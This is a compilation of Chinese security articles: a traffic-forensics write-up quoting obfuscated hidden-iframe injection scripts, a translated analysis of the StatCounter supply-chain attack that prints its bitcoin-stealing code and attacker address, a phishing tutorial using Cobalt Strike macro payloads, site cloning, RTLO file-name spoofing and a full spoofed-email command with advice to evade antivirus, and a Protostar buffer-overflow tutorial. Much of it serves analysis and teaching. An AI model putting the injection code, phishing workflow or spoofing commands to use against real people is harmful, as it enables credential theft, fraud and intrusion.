dfgdhfg = "c:\\win" + "dows\\system32\\dr" + "ivers\\tmtdi" + ".sys";
vsdfsdf = "c:\\win" + "dows\\sy" + "stem32\\drivers\\ea" + "mon.sys";
fdtfsdf = "c:\\windows\\sys" + "tem32\\drivers\\kli" + "f.sys";
uyuyrew = "c:\\win" + "dows\\system32\\dr" + "ivers\\kn" + "eps.sys";
rt5644s = "c:\\windows\\system32\\drivers\\kl" + "flt.sys";
a76f64s = "c:\\wind" + "ows\\syst" + "em32\\dr" + "ivers\\klfl" + "t.sys";
if (uffe45(asfgsdg) || uffe45(asfhj65) || uffe45(bsdfdfg) || uffe45(dfgdfgq) || uffe45(sdfsdhj) || uffe45(fdg565f) || uffe45(dfgdhfg) || uffe45(vsdfsdf) || uffe45(fdtfsdf) || uffe45(uyuyrew) || uffe45(rt5644s) || uffe45(a76f64s)) {
window.g565fss = true;
};
gr34s(20);
}
if (window.g565fss != true) {
b67da = String;
}
......
看来该流量确实是用来传递恶意payload的，所以本题的答案为：`3`次。
### Problem 11
> **The compromised website has a malicious script with a URL. What is this
> URL?**
这道题和前面的问题其实有点重复，过滤：
http.request and ip.addr==82.150.140.30
选择第一条数据并追踪http流：
答案为`http://24corp-shop.com/`。
这其实是一种常见的感染方式，称为 **js malware hidden-iframe** ，可以参考这篇文章：
> <https://labs.sucuri.net/signatures/malwares/js-malware-hidden-iframe-006/>
hidden-iframe是很常见的一种引导用户下载恶意软件的方式。在受攻击者感染的站点页面中加入一个用户看不见的iframe，而该iframe会从第三方站点加载恶意文件，在用户毫无察觉的情况下感染他们的计算机。但是iframe代码本身是很简单的，所以稍有经验的管理员就能够发现不属于本站点的iframe存在。因此在很多情况下，攻击者会对通过js代码来注入iframe。并且在更多的时候，攻击者会对JS进行处理，比如对js代码进行混淆，这样网站管理员就很难读懂这串代码的真实意图是什么。
第一种常见的方法就是本题中使用的技术，不过这很容易被网站管理员发现：
function showBrowVer()
{
var data = browserDetectNav();
if (data[0]) {
if ((data[0] == 'Opera' || data[0] == 'MSIE' || data[0] == 'Firefox') & data[3] == 'Windows'){
var divTag=document.createElement('div');
divTag.id='dt';
document.body.appendChild(divTag);
var js_kod2 = document.createElement('iframe');
js_kod2.src = 'http://malicious-domain.com/?2';
js_kod2.width = '5px';
js_kod2.height = '3px';
js_kod2.setAttribute('style','visibility:hidden');
document.getElementById('dt').appendChild(js_kod2);
}
}
}
另外一种是对js注入iframe相关的代码进行轻微混淆：
... slightly obfuscated ...
var tds_url = 'ht' + 'tp:' + '//' + 'xx.' + 'xxx.' + 'xx.' + 'xxx' + '/';
var group = '?' + 'i' + 'd' + '=' + '1';
var charset = 'utf-8';
var referer = encodeURIComponent(document.referrer);
var url = tds_url + '/' + group + '&se_referer=' + referer + '&charset=' + charset;
document.write('<' + 'i' + 'f' + 'r' + 'a' + 'm' + 'e' + ' ' + 'w' + 'i' + 'd' + 't' + 'h' + '=' + '"' + '0' + '"' + ' ' + 'h' + 'e' + 'i' + 'g' + 'h' + 't' + '=' + '"' + '0' + '"' + ' ' + 'f' + 'r' + 'a' + 'm' + 'e' + 'b' + 'o' + 'r' + 'd' + 'e' + 'r' + '=' + '"' + '0' + '"' + ' ' + 's' + 'c' + 'r' + 'o' + 'l' + 'l' + 'i' + 'n' + 'g' + '=' + '"' + 'n' + 'o' + '"' + ' ' + 's' + 'r' + 'c' + '="' + url + '">' + '<' + '/' + 'i' + 'f' + 'r' + 'a' + 'm' + 'e' + '>');
心眼更多一点的攻击者就会对js代码进行比较复杂的混淆：
... or heavily obfuscated ...
/*fe9ee021ca8b75385556d8588e76ae28*/try{document["b"+"ody"]*=document}catch(dgsgsdg){zxc=1;ww=window;}try{d=document["createElement"]("span");}catch(agdsg){zxc=0;}try{if(ww.document)window["doc"+"ument"]["body"]="zxc"}catch(bawetawe){if(ww.document){v=window;n=["3o","4d","46","3l","4c","41","47","46","16","3p","4a",... skipped ...,"2j","2p","36","35","4c","4a","41","46","3p","1e","1f","27","d","a","4l"];h=2;s="";if(zxc){for(i=0;i-609!=0;i++){k=i;s+=String.fromCharCode(parseInt(n[i],26));}z=s;vl="val";if(ww.document)ww["e"+vl](z)}}}/*fe9ee021ca8b75385556d8588e76ae28*/
对应的js源码为：
document.write('<style>.s'+stnm+' { position:absolute; left:-'+gra(600,1000)+'px; top:-'+gra(600,1000)+'px; }</style> <div class="s'+stnm+'"><iframe src="http://malicious-domain.org/ad/feed.php" width="'+gra(300,600)+'" height="'+gra(300,600)+'"></iframe></div>')
### Problem 12
> **Extract the two exploit files. What are the MD5 file hashes? (comma-> separated )**
提取出这两个恶意软件，然后计算md5值，得到的结果分别为：
Swf.Exploit.Rig : 7b3baa7d6bb3720f369219789e38d6ab
java.Malware.Agent : 1e34fdebbf655cebea78b45e43520ddf
## 参考
<https://labs.sucuri.net/signatures/malwares/js-malware-hidden-iframe-006/> | 社区文章 |
# 针对密币交易所gate.io的供应链攻击
##### 译文声明
本文是翻译文章，文章来源：welivesecurity.com
原文地址：<https://www.welivesecurity.com/2018/11/06/supply-chain-attack-cryptocurrency-exchange-gate-io/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
11月3日，攻击者成功攻陷了网络分析平台StatCounter，这是业内处于领先地位的一个平台，许多网站管理员都使用该服务来收集访问者的统计信息，这项服务与Google
Analytics非常相似。
为了收集统计信息，网站管理员通常会在每个网页中添加一个外部JavaScript代码，其中包含来自StatCounter的一段代码（
`www.statcounter[.]com/counter/counter.js`）。
因此，只要搞定StatCounter平台，攻击者就可以在使用StatCounter的所有网站中注入JavaScript代码。
根据[官网](http://gs.statcounter.com/faq#methodology)描述，StatCounter拥有的会员已超过200万人次，每月的页面浏览量超过100亿次。
这些信息与该网站在Alexa的排名（略高于5000）相符。Debian
Linux发行版的官方网站debian.org的Alexa排名与之不相上下，对比后大家可以对该服务规模有个大致的了解。
## 二、脚本攻击
攻击者修改了`www.statcounter[.]com/counter/counter.js`脚本，在脚本中添加了一段恶意代码。经过格式化的脚本如下所示，清注意中间部分的代码。
这种添加方式并不常见，因为攻击者通常会在合法文件的开头或结尾添加恶意代码。 人们通常难以通过大致浏览定位到注入现有脚本中间区域的恶意代码。
eval(function(p, a, c, k, e, r) {
e = function(c) {
return c.toString(a)
};
if (!''.replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [function(e) {
return r[e]
}];
e = function() {
return '\w+'
};
c = 1
};
while (c--)
if (k[c]) p = p.replace(new RegExp('\b' + e(c) + '\b', 'g'), k[c]);
return p
}('3=""+2.4;5(3.6('7/8/9')>-1){a 0=2.b('d');0.e='f://g.h.i/c.j';0.k('l','m');2.n.o.p(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {}));
该脚本使用Dean
Edwards工具进行混淆，这可能是最受欢迎的JavaScript加壳工具。但是我们很容易就可以解开经过该工具处理的代码，最终还原出实际运行的脚本代码，如下所示。
myselfloc = '' + document.location;
if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) {
var ga = document.createElement('script');
ga.src = 'https://www.statconuter.com/c.php';
ga.setAttribute('async', 'true');
document.documentElement.firstChild.appendChild(ga);
}
这段代码首先会检查URL中是否包含`myaccount/withdraw/BTC`。 因此，我们已经可以猜到攻击者的目标是比特币平台。
如果满足该条件，脚本将继续向网页添加新的脚本元素，包含源自于`https://www.statconuter [.]com/c.php`的代码。
需要注意的是，攻击者注册的域名非常与`statcounter[.]com`（StatCounter的合法域名）非常类似，攻击者只修改了其中两个字母，这样安全人员在扫描日志、查找异常活动时很难注意到这些异常。
有趣的是，在查看该域名的Passive DNS数据时，我们发现该域名已经因为滥用操作于2010年被暂停解析。
如前文所述，攻击脚本以特定的URI（Uniform Resource Identifier）为目标：`myaccount/withdraw/BTC`。
事实证明，在本文撰写时，互联网的各种密货交换服务中只有gate.io页面具备这种URI特征。 因此，这个交换所似乎是这次袭击的主要目标。
该交易所非常受人们欢迎，其Alexa排名26,251，在中国排名8,308。
此外，根据`coinmarketcap.com`的数据显示，该平台的每日交易量可达数百万美元，其中包括160万美元的比特币（bitcoin）交易。
因此，如果攻击者能在该平台上大规模窃取加密货币，可能获利颇丰。
`https://www.gate[.]io/myaccount/withdraw/BTC`所对应的页面如下图所示，gate.io账户可以将比特币转移到外部比特币地址。
第二阶段攻击载荷来自于`statconuter[.]com/c.php`，不出所料，事实证明该载荷的目标的确是窃取比特币。
这也是为什么攻击者会将脚本注入gate.io的比特币转移页面。 这个脚本同样经过Dean Edwards混淆处理，去混淆后的代码如下所示。
document.forms[0]['addr'].value = '';
document.forms[0]['amount'].value = '';
doSubmit1 = doSubmit;
doSubmit = function () {
var a = document.getElementById('withdraw_form');
if ($('#amount').val() > 10) {
document.forms[0]['addr']['name'] = '';
var s = $("<input type='hidden' name='addr'/>");
s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
var b = $('#withdraw_form');
b.append(s);
a.submit();
} else if (document.getElementById('canUse').innerText > 10) {
document.forms[0]['addr']['name'] = '';
var s = $("<input type='hidden' name='addr'/>");
s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
var b = $('#withdraw_form');
b.append(s);
document.forms[0]['amount']['name'] = '';
var t = $("<input type='hidden' name='amount'/>");
t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText));
b.append(t);
a.submit();
} else {
doSubmit1();
}
};
在正常的gate.io网页中存在有一个`doSubmit`函数，当用户点击提交按钮时就会调用该函数，攻击者在这里重新定义了该函数。
该脚本会自动将目标比特币地址替换为攻击者自己的地址，例如`1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad`。
每当访问者加载`statconuter[.]com/c.php`脚本时，恶意服务器都会生成一个新的比特币地址。
因此，我们很难知道有多少比特币已经被转移到攻击者手中。
攻击者会根据受害者具体输入的BTC数额（是否超过10
BTC）来确认转移数额，攻击脚本要么直接使用用户输入的数额，要么使用受害者帐户的每日提款限额。对于我们的测试帐户，默认情况下提款限额被设置为100 BTC。
最后，恶意脚本提交表单，将比特币从受害者帐户转移到攻击者的钱包。
这种转移操作可能对受害者来说并不明显，因为只有在用户点击提交按钮后才会执行地址替换操作。 因此，地址替换攻击动作非常快，甚至可能不会显示给终端用户。
每次服务器将恶意脚本发送给受害者时都会生成一个新的比特币地址，因此我们无法得知攻击者总共收集了多少比特币。
举个例子，如果我们检查在测试环境中获取的地址，可以发现该地址的余额为0 BTC。
## 三、总结
虽然我们不知道在此次攻击活动中有多少比特币被盗，但还是能够澄清攻击者在攻击某个特定网站（特别是加密货币交易所）时的具体攻击路径。为了完成攻击任务，攻击者破坏了提供分析服务的站点（超过200万个其他网站使用了该服务，其中包括几个与政府相关的网站），以此为跳板从一个密货交易网站用户手中窃取比特币。
此次攻击事件表明，即使网站已保持更新并受到较好保护，仍然容易受到最为薄弱一环的影响，在本案例中，木桶的短板指向的是外部资源。这也给我们提了一个提醒：外部JavaScript代码由第三方控制，随时可能被修改，修改后用户可能无法发现。
我们发现此次恶意活动后第一时间通知了StatCounter以及gate.io。
## 四、IoC
恶意网址：
statcounter[.]com/counter/counter.js
statconuter[.]com/c.php | 社区文章 |
## 钓鱼方式
1.钓鱼邮件
钓鱼邮件指利用伪装的电邮，欺骗收件人将账号、口令等信息回复给指定的接收者；或引导收件人连接到特制的网页，这些网页通常会伪装成和真实网站一样，如银行或理财的网页，令登录者信以为真，输入信用卡或银行卡号码、账户名称及密码等而被盗取。
2.钓鱼wifi
仿造一个假的wifi,欺骗用户登陆，之后窃取用户信息
3.钓鱼二维码
网站地址（URL）被编成QR二维码，有些网站将网站登录的URL存储在QR码上。攻击者用伪造的QR码替换合法的QR码，篡改登录网站的URL信息，将用户导向一个假冒的登录页面。在这种情况下，用户扫描QR码后，访问了伪造的登陆页面，将个人信息泄露给了攻击者。
4.伪基站
又称假基站、假基地台，是一种利用GSM单向认证缺陷的非法无线电通信设备，主要由主机和笔记本电脑组成，能够搜取以其为中心、一定半径范围内的GSM移动电话信息，并任意冒用他人手机号码强行向用户手机发送诈骗、推销等垃圾短信，通常安放在汽车或者一个比较隐蔽的地方发送。
伪基站+短信+网页……
5.标签钓鱼
标签钓鱼(tabnabbing)是一种新的网络钓鱼攻击手法，该攻击手法是由Mozilla Firefox浏览器的界面及创意负责人Aza
Raskin发现和命名的，tabnabbing可改变用户浏览网页的标签及接口，以诱导用户输入网络服务的账号与密码。
因此，Raskin将此手法称为标签绑架（tabnapping），他指出当使用者连上一个嵌有第三方script程序或Flash工具的网页时，就会让自己曝露于风险中，因为相关的恶意软件得以侦测使用者经常使用或正在使用的网络服务，在用户暂时离开该网页后，该网页内容及网页标签会悄悄地变身成为伪造的网络服务，并诱导用户输入个人信息
6.鱼叉式网络钓鱼
指一种源于亚洲与东欧只针对 **特定目标** 进行攻击的网络钓鱼攻击。
注：
水坑攻击
”水坑攻击”，黑客攻击方式之一，顾名思义，是在受害者必经之路设置了一个“水坑(陷阱)”。最常见的做法是，黑客分析攻击目标的上网活动规律，寻找攻击目标经常访问的网站的弱点，先将此网站“攻破”并植入攻击代码，一旦攻击目标访问该网站就会“中招”。
水坑攻击属于 APT
攻击的一种，与钓鱼攻击相比，黑客无需耗费精力制作钓鱼网站，而是利用合法网站的弱点，隐蔽性比较强。在人们安全意识不断加强的今天，黑客处心积虑地制作钓鱼网站却被有心人轻易识破，而水坑攻击则利用了被攻击者对网站的信任。水坑攻击利用网站的弱点在其中植入攻击代码，攻击代码利用浏览器的缺陷，被攻击者访问网站时终端会被植入恶意程序或者直接被盗取个人重要信息。
水坑攻击相对于通过社会工程方式引诱目标用户访问恶意网站更具欺骗性，效率也更高。水坑方法主要被用于有针对性的攻击，而 Adobe Reader、Java
运行时环境（JRE）、Flash 和 IE 中的零漏洞被用于安装恶意软件。
7.U 盘钓鱼
简单来说就是在 U 盘里面植入木马或者病毒，进行钓鱼
注：U 盘嘛，你可以撇目标单位门口，或者社工个人信息，邮寄给他
## 演示环境
* 服务器：centos 7
* 服务器：windows 7
* 服务器：windows 2008 r2
* 攻击机：kali linux
* 靶机：windows 7
## 制作钓鱼邮件内容-Cobalt strike
进入cobalt strike目录
启动teamserver
执行命令`sudo ./teamserver 192.168.32.138 mitian`
新建终端，进入目录，启动客户端
执行`./cobalstrike`
新建一个监听器
点击底部add添加
点击attacks-packages-ms office macro创建word宏病毒
创建word文档，添加病毒
正文随便加点东西【当然我这是测试，加什么都行】
## 钓鱼网站的制作
### 方法一
上面是利用cobalstrike制作一个word文档的病毒，当然你也可以使用它clone一个网站
点击attacks---web drive-by --- clone site,添加你要克隆的网站，我选的补天登陆页面
访问192.168.32.142:80
当然最好是自己搭建一个钓鱼网站，上面是演示
### 方法二
打开kali linux 的Social-Engineer Toolkit
【或者终端输入setoolkit启动】
选择1 社会工程学攻击，出现下图
选择2 网站攻击，出现下图
选择3 钓鱼网站攻击，出现下图
选择2 网站克隆，出现下图
并输入ip，这里已经给出了
[
输入要克隆的网站
到这的时候输入一个Y
访问网站
假装受害者登陆，输入用户和密码
kali 终端显示信息
**注：Social-Engineer Toolkit有很多玩法，比如鱼叉，钓鱼二维码，wifi等，使用方法大同小异，自行研究**
### 方法三
自己搭建一个，比如QQ空间
找个QQ空间的源码，放到服务器上
访问，输入用户mitian,密码mitian
访问后台
## U盘钓鱼
### Unicode RTLO
RIGHT TO LEVER OVERRIDE 是一种 Unicode，主要用于书写和阅读阿拉伯语或希伯来语文本。Unicode 有一个特殊字符 U +
202e，它告诉计算机以从右到左的顺序显示它后面的文本。此漏洞用于伪装文件名称。例如， caijueexe.doc 的文件名实际上是
caijuedoc.exe 的可执行文件
1.准备一个 bat 文件
2.鼠标右键---重命名---插入 Unicode 字符---选择 RLO--输入“txt.bat”
3.显示如下，看到的是一个以 txt 结尾的文件，但实际上却是从右开始读的 bat 文件，在属性里面可以看到
4.假如目标以为这是一个 txt 文本，双击执行一下
看着像 txt，其实是 bat
## 邮件伪造发送之SWAKS
1.测试是否可以和目标邮箱发送数据
执行命令：`swaks –to [136*****@qq.com]`
2.swaks参数说明
执行命令：`swaks –help` 可以看到n多参数和实例
\--to 目标邮箱
\--from 邮件发送者
\--attach 添加附件
\--header-From 邮件头
\--header "Subject:主题" 邮件主题
3.发送钓鱼邮件
执行
`swaks --to 136****[email protected] --from l***[email protected] --h-From:
'"总裁办"<[email protected]>' --header "Subject: 关于集团报告渗透测试word模板更新的通告" --body
"各位一线工程师，集团对外word统一格式，请下载附件使用，谢谢合作！" --attach-name 渗透报告模版.doc --attach-type
application/msword --attach /tmp/渗透报告模版.doc`
**注： attach-type是传输文件的MIME类型**
**attach-name是名字**
**理论上不加这两个也可以的，不过我这里面不加有点小问题**
伪造发送成功
4.cobalstrike主机上线啦！
假装受害者打开word
滴！肉鸡上线
## 邮件伪造发送之EMKEI’SMAILER
在线的邮件伪造发送工具
网址：<https://emkei.cz/>
简单试了试139邮箱，噢哟可以哦！
附赠一个：邮箱匿名注册的网站
网址：<http://www.yopmail.com>
**注：邮件发送，还可以自己搭建SMTP服务，之后使用诸如SimpleEmailSpoofer等伪造域名发送。**
## 伪造钓鱼邮件注意事项
1. 钓鱼嘛，鱼饵肯定要诱人才会有鱼上钩,比如：美女图片、中奖
2. 尽量仿造的像真的一样，注意：签名、模版、图标、落款等细节
3. 网站，链接等钓鱼，最好用相似度较高的域名
4. 附件肯定要过杀软！！！【百度一下肯定有】
## 钓鱼邮件防范
1. 不要轻易相信邮件里的附件，比如word里的宏
2. 注册链接，中奖链接不要轻易相信
3. 注意邮件行文风格、落款、签名等地方
4. 服务器响应快慢，一般钓鱼的服务器配置都不是很高
5. 如果突然有封邮件言辞激励，请不要回复，因为它可能在社工你的邮件签名等信息
## 注：文章首发弥天实验室，内容不当处，大佬勿喷
## 总结
总结个锤子… | 社区文章 |
原文：<https://0xrick.github.io/binary-exploitation/bof1/>
# **导言**
* * *
首先，我知道关于缓冲区溢出和二进制代码漏洞利用的教程已经是汗牛充栋了，但是，我仍然决定写这篇文章，为何呢？因为大部分的相关教程和文章并没有真正全面介绍掌握缓冲区溢出漏洞利用所需的基本知识。例如，有些教程只解释了什么是缓冲区溢出，却没有为读者介绍什么是缓冲区，什么是堆栈，什么是内存地址等基础知识，所以，我决定写一篇详尽的文章，为读者提供一篇一站式的教程。为此，我将在本文中讨论什么是缓冲区，什么是堆栈，什么是内存地址，以及应用程序的内存结构，什么是缓冲区溢出，以及为什么会发生缓冲区溢出。最后，我将通过一个非常基本和简单的示例代码(ProtoStar
Stack0)来展示利用缓冲区溢出漏洞的过程。
# **缓冲区**
* * *
那么，什么是缓冲区呢？简单来说，缓冲区就是程序运行时所使用的内存空间或场所。这些内存空间用于存储程序当前使用的临时数据。因此，如果我们有一个简单的程序，它要求用户输入自己的名字，并将其存放到一个名为username的变量中，然后，该程序会输出“Hello
username”形式的消息。这样，如果我们运行该程序，并输入用户名“Rick”，那么，“Rick”一词会首先存放到缓冲区中，直到程序执行print命令的时候，该程序才会从缓冲区中取出给定的用户名“Rick”，并输出结果：“Hello
Rick”。
我们的示例代码是用c语言编写，具体如下所示：
#include <stdio.h>
int main () {
char username[20];
printf("Enter your name: ");
scanf("%s", username);
printf("Hello %s\n", username);
return(0);
}
**示例代码详解**
* * *
int main() 定义主函数
char username [20] 这里是为变量规定名称的地方，但这一行最重要的是char ....
[20]，其作用是为该变量指定了相应的缓冲区，具体大小为存放20个字符所需内存空间
其余代码的作用是接收用户的输入，然后将其打印输出。
printf("Enter your name: ");
scanf("%s", username);
printf("Hello %s\n, username");
那么，当我们编译并运行这个程序时，能否得到预期的输出结果呢？
在讨论缓冲区溢出之前，我们需要先来了解一下应用程序的内存是如何工作的。
# **应用程序的内存、栈以及内存地址**
* * *
那么，应用程序的内存到底长啥样呢？堆栈又是什么呢？实际上，堆栈就是一个内存缓冲区，用来存储程序的函数和局部变量。为了便于演示，我们为读者画了一个示意图，具体如下所示。
首先，最下面部分存放的是代码，即程序的源代码编译后的代码，它们是程序的主要指令。
其次，从下往上数第二部分是用于存储全局变量的缓冲区，
局部变量和全局变量之间的区别在于，局部变量被限定在一个特定的函数中：如果在一个函数中定义了一个局部变量，那么，该变量就只能在这个函数中调用。但是，全局变量既可以在主函数中定义，也可以在函数外部定义，并且，这种类型的变量可以在任何地方调用。
然后，再往上就是栈（stack）了，这是内存的重要组成部分，因为缓冲区溢出就是在这里发生的。这是存储局部变量和函数调用的地方。
最后，也是最上面的一部分，即堆（Heap），这是动态内存分配区。
现在，我们已经知道了应用程序的内存是什么样子，以及什么是栈，但是，内存地址又是什么呢？
基本上，当程序被编译和执行时，程序的所有指令位于应用程序对应的内存空间中，并且，并为它们分配一个地址。该地址通常采用十六进制字节的格式。
因此，当我们反汇编一个程序，并查看其代码时，就会看到内存地址，类似这样：
# **为什么会发生缓冲区溢出呢？**
* * *
现在，我们已经知道什么是缓冲区，同时，对内存构造也进行了深入探索。接下来，您很可能想要知道问什么会发生缓冲区溢出，以及什么时候会发生溢出。简单来说，当输入的数据的长度超过缓冲区的上限时，就会发生缓冲区溢出，这会导致程序在为其分配的缓冲区之外写入数据，这样，就可能会覆盖程序用来保存数据的某些内存空间，从而使数据不可用，并最终导致程序崩溃。为了演示这一点，让我们回顾一下第一个例子。
#include <stdio.h>
int main () {
char username[20];
printf("Enter your name: ");
scanf("%s", username);
printf("Hello %s\n", username);
printf("Program exited normally");
return(0);
}
处于演示的目的，这里又添加了一行代码，用来输出“program exited noramlly”。
现在，程序运行时会询问我们的用户名，接着打印“Hello username”，然后输出“program exited
noramlly”并退出。其中，用于保存变量username的值的缓冲区的长度被设置为20个字符，所以，用户名的长度最好小于20个字符。但是，如果输入的数据的长度超过了20个字符，程序将会崩溃，因为缓冲区外面的某些数据将被覆盖，致使程序的某些部分被破坏掉了。在我们的例子中，被破坏的部分将是打印“program
exited noramlly”的那一部分。
首先，让我们运行程序，并输入Rick。
这时，该程序将正常退出。
现在，让我们再次运行它，并输入30个字母A，来为变量username赋值。
这时，我们看到程序会打印“Hello
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa”，但是，之后并没有看到它输出“program exited
normally”，相反，我们看到的是一个段错误。这是因为我们额外输入了10个字符，而程序只需要20个字符，或更少。这些额外的字符，即“aaaaaaaaa”超过了20个字符的缓冲区的容量，会写入缓冲区边界之外的内存中，并覆盖其他数据（即打印“Program
exit normal”的打印指令），从而引发段错误，因为程序已被破坏。
# **借助GDB考察缓冲区溢出**
* * *
下面，让我们借助GDB（GNU调试器）来更加深入地考察溢出是如何发生的。
我们将编写另一个程序，该程序会创建一个名为“whatever”的变量，然后，它会拷贝我们提供的内容，并将其放入该变量中。我们将该变量的缓冲区的长度设置为20个字节。
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char whatever[20];
strcpy(whatever, argv[1]);
return 0;
}
**代码详解**
* * *
`int main（int argc，char ** argv）` 定义main函数及其参数
`char whatever[20];` 创建变量，为其指定名称“whatever”，并将其缓冲区长度指定为20个字节
`strcpy(whatever, argv[1]);` 将我们输入的字符拷贝到变量“whatever”中
`return 0;` 这是我们的返回地址
现在，让我们利用gdb运行该程序，以进行相应的测试。
上面输入的内容为aaaaa，长度小于20个字符，所以，程序会正常退出，说明一切正常。
现在，让我们输入20个以上的字符。
我们将看到段错误，这时因为我们的返回地址被覆盖了，程序无法继续运行。
为了说明这些地址是如何被覆盖的，让我们输入一个任意十六进制值，例如\x12，并连续输入50次。然后，让我们来看看寄存器的情况。
我们看到，大多数内存地址都被12覆盖了。
# **为什么缓冲区溢出如此危险？**
* * *
现在，您可能会问，这会带来多大的危害呢？
当易受攻击的二进制文件或程序是具有setuid访问权限的二进制文件时，缓冲区溢出问题可能带来巨大的危害。如果您不知道具有setuid权限二进制文件是什么的话，建议阅读提供的链接文章的详细介绍，但简单来说，让执行该程序的用户以该程序拥有者（通常是root）的权限去执行它们，但是当该程序容易受到缓冲区溢出的影响时，这就不太妙了。由于我们可以向缓冲区中传递数据并覆盖程序，因此，我们可以使用执行系统调用的payload覆盖程序，从而得到一个具有root权限的shell。
将来，我将撰写更多有关缓冲区溢出和其他二进制代码利用技术的文章，不过，现在让我们先从Protostar开始吧。
实际上，Hack The
box网站上的确有许多需要利用缓冲区溢出漏洞和二进制漏洞利用技术来获得root权限的实验，但它们现在还处于active状态，不过，只要它们退出该状态，我们便会在第一时间发布关于这些实验的文章。在此期间，您可以阅读本人撰写
[Hack The Box write-ups](https://0xrick.github.io/ "Hack The Box write-ups")！
# **Protostar Stack0**
* * *
现在，让我们从一个简单的实际例子开始下手。
您可以从[这里](https://www.vulnhub.com/entry/exploit-exercises-protostar-v2,32/
"这里")下载protostar。
在这篇文章中，将解决第一个层次的挑战，也就是stack0层次，然后我将在其他文章中解决其余层次的问题。
下面，我们先来看看相关的源代码：
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
我们可以看出，该程序有一个名为“buffer”的变量，并为其分配64个字符的缓冲区。此外，该程序还有一个变量，即Modified，其值为0。同时，借助于函数gets(buffer)
，我们可以为“buffer”变量赋值，此后，还有一个if语句，其作用是检查“modified”变量的值是否不等于0。如果该值不等于0，它将打印“you
have changed the'modified'variable”，然而，如果它仍然等于0的话，将打印“try
again？”。所以，我们的任务其实就是改变这个名为“modified”的变量的值。
只要输入的数据少于64个字符，就会一切正常。然而，一旦输入的内容超过了缓冲区的长度，就会将覆盖"modified"变量的值。
我们已经知道缓冲区的长度为64个字符，所以，只需要输入65个或更多的字符，这个变量的值就会被改变。下面，让我们来测试一下。
我们执行stack0的二进制代码，并看到输出为“try again？”。
下面，让我们扔给它65个字符“A”，看看它有什么反应。
python -c "print ('A' * 65)" | ./stack0
看，我们成功地覆盖了该变量的值！
# **搞定Stack1与Stack2挑战**
* * *
前面，我们已经成功搞定了Protostar
Stack0挑战，下面，我们开始处理Stack1和Stack2。实际上，它们的目标与Stack0的目标是一致的，那就是要改变变量的值，不过，在具体的改变变量的方式上，还是有所不同的。
## **Stack1挑战**
* * *
对于这个挑战，相应的代码如下所示：
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
**代码详解**
* * *
下面，我们对这段代码进行详细的解读：
首先，它创建了一个名为“modified”的变量，并为其分配了64个字符的缓冲区。
volatile int modified;
char buffer[64];
然后，检查我们是否为其提供了相应的参数。
if(argc == 1) {
errx(1, "please specify an argument\n");
}
将变量“modified”的值设为0，然后，将argv[1]中的值拷贝到变量“modified”的缓冲区中。
modified = 0;
strcpy(buffer, argv[1]);
然后，检查这个变量的值是否为0x61626364。
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
**解决方案**
* * *
因此，这个题目与Stack0题目非常相似，只是需要将变量的值设置为特定值，即0x61626364。实际上，这个值是“dcba”的十六进制的表示形式——需要注意的是，当读取十六进制值时，要从右向左，而不是从左向右读取。为此，我们可以先输入64个字符，然后再输入这个值。好了，下面让我们尝试一下。
首先，让我们运行stack1的代码。
如您所见，它让我们指定一个参数。那么，让我们随便输入一些内容。
我们重复了一次，得到的值还是0x00000000。下面，让我们尝试越过缓冲区来输入任意字符(例如“b”)，看看会发生什么情况。
./stack1 `python -c "print ('A' * 64 + 'b')"`
我们看到，该值变成了0x00000062，即“b”的十六进制值，因此，我们的方法是有效的，所以，可以继续应用该方法。
./stack1 `python -c "print ('A' * 64 + 'dcba')"`
搞定了！
不过，我们还能用其他方法来达到这一目的吗？实际上，我们也可以使用十六进制值，而不是输入ASCII码，不过，这需要使用Python进行相应的转换。
./stack1 `python -c "print('A' * 64 + '\x64\x63\x62\x61')"`
## **Stack2挑战**
* * *
对于这个挑战，相应的代码如下所示：
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
**代码详解**
* * *
下面，我们对这段代码进行详细的解读：
首先，它也创建了一个名为“modified”的变量，并为其分配了64个字符的缓冲区。
volatile int modified;
char buffer[64];
这里的不同之处在于，新添加了是一个名为“variable”的变量，它的值来自一个名为“greenie”的环境变量。
variable = getenv("GREENIE");
之后，该程序的代码会检查变量“variable”的值是否为NULL。
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
然后，将Modified的值设置为0 。
modified = 0;
并将变量“variable”的值拷贝到变量“modified”的缓冲区中。
strcpy(buffer, variable);
然后，检查变量“modified”的值是否为0x0D0A0D0A。
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
**解决方案**
* * *
